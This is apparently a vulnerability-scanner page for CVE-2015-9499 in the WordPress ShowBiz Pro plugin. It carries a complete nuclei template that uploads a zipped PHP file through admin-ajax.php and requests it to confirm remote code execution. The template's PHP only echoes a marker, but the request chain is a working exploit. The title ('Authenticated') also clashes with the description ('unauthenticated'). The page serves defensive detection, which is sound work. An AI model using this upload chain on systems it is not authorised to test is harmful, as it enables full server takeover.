WordPress ShowBiz Pro <= 1.7.1 - Authenticated Arbitrary File Upload to RCE

criticalseverity

9.8CVSS score

15.8%likelihood of exploitation, next 30 days

97%of all CVEs are less likely

Readycheck to confirm it

The WordPress ShowBiz Pro plugin version <= 1.7.1 allows arbitrary PHP file upload via the `admin-ajax.php` endpoint.This leads to unauthenticated remote code execution.

Impact

Attackers can upload and execute arbitrary PHP files without authentication, leading to complete server compromise and data breach.

Fix

Remove or disable the plugin immediately and update to a patched version if available.

How to confirm it

Send: POST /wp-admin/admin-ajax.php
Positive when: status_code == 200 and contains_all(body,'Update in progress...','wp-admin/admin.php?page=showbiz&view=sliders')
Send: GET /wp-content/plugins/showbizpro/temp/update_extract/{{filename}}.php
Positive when: status_code == 200 and contains(body,'{{marker}}')

Run it with nuclei: nuclei -id CVE-2015-9499 -u <target>

The full check

id: CVE-2015-9499

info:
  name: WordPress ShowBiz Pro <= 1.7.1 - Authenticated Arbitrary File Upload to RCE
  author: iamnoooob,pdresearch
  severity: critical
  description: |
    The WordPress ShowBiz Pro plugin version <= 1.7.1 allows arbitrary PHP file upload via the `admin-ajax.php` endpoint.This leads to unauthenticated remote code execution.
  impact: |
    Attackers can upload and execute arbitrary PHP files without authentication, leading to complete server compromise and data breach.
  remediation: |
    Remove or disable the plugin immediately and update to a patched version if available.
  reference:
    - https://wpscan.com/vulnerability/1c8f1872-a699-464a-9c6b-f8a49ca22ecb/
    - https://nvd.nist.gov/vuln/detail/CVE-2015-9499
    - https://packetstormsecurity.com/files/132737/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2015-9499
    cwe-id: CWE-434
    epss-score: 0.15834
    epss-percentile: 0.96905
    cpe: cpe:2.3:a:themepunch:showbiz_pro:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: themepunch
    product: showbiz_pro
    framework: wordpress
  tags: cve,cve2015,wpscan,packetstorm,wp,wordpress,wp-plugin,showbiz,uplo,intrusive,vkev,vuln

variables:
  marker: "{{randstr}}"
  b64marker: "{{base64(marker)}}"
  filename: "{{rand_base(5)}}"

http:
  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        X-Requested-With: XMLHttpRequest
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryWJDMjlXCUnC1rnZg

        ------WebKitFormBoundaryWJDMjlXCUnC1rnZg
        Content-Disposition: form-data; name="action"

        showbiz_ajax_action
        ------WebKitFormBoundaryWJDMjlXCUnC1rnZg
        Content-Disposition: form-data; name="client_action"

        update_plugin
        ------WebKitFormBoundaryWJDMjlXCUnC1rnZg
        Content-Disposition: form-data; name="update_file"; filename="{{filename}}.zip"
        Content-Type: application/zip

        {{zip('{{filename}}.php','<?php echo base64_decode(\'{{b64marker}}\'); ?>')}}
        ------WebKitFormBoundaryWJDMjlXCUnC1rnZg--

    matchers:
      - type: dsl
        dsl:
          - "status_code == 200"
          - "contains_all(body,'Update in progress...','wp-admin/admin.php?page=showbiz&view=sliders')"
        condition: and
        internal: true

  - raw:
      - |
        GET /wp-content/plugins/showbizpro/temp/update_extract/{{filename}}.php HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - "status_code == 200"
          - "contains(body,'{{marker}}')"
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from